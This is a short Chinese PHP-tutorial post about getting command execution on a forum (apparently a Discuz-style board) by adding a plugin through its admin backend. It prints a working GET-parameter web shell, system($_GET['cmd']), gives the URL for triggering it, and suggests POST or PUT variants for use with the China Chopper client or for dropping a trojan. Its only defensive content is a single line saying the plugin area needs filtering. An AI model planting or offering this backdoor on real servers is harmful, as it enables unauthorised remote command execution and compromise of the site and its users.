来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 在后台,进插件管理.添加插件. Ajax_complete 填入代码:if(isset($_GET[#39;cmd#39;])){echo h1cmd/h1pre; system($_GET[#39;cmd#39;]);exit;}激活mod 访问:www.2cto.com /forumlocation/aja......
在后台,进插件管理.添加插件. Ajax_complete 填入代码: if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;} 激活mod 访问:www.2cto.com /forumlocation/ajax.php?cmd=command
比如:www.2cto.com /forumlocation/ajax.php?cmd=ls,就执行了ls的命令。
就是一个简单的get型一句话,也可以改成post型的,放入菜刀,或者写个put型的,生成一个小马
防范: 插件这里尚需过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com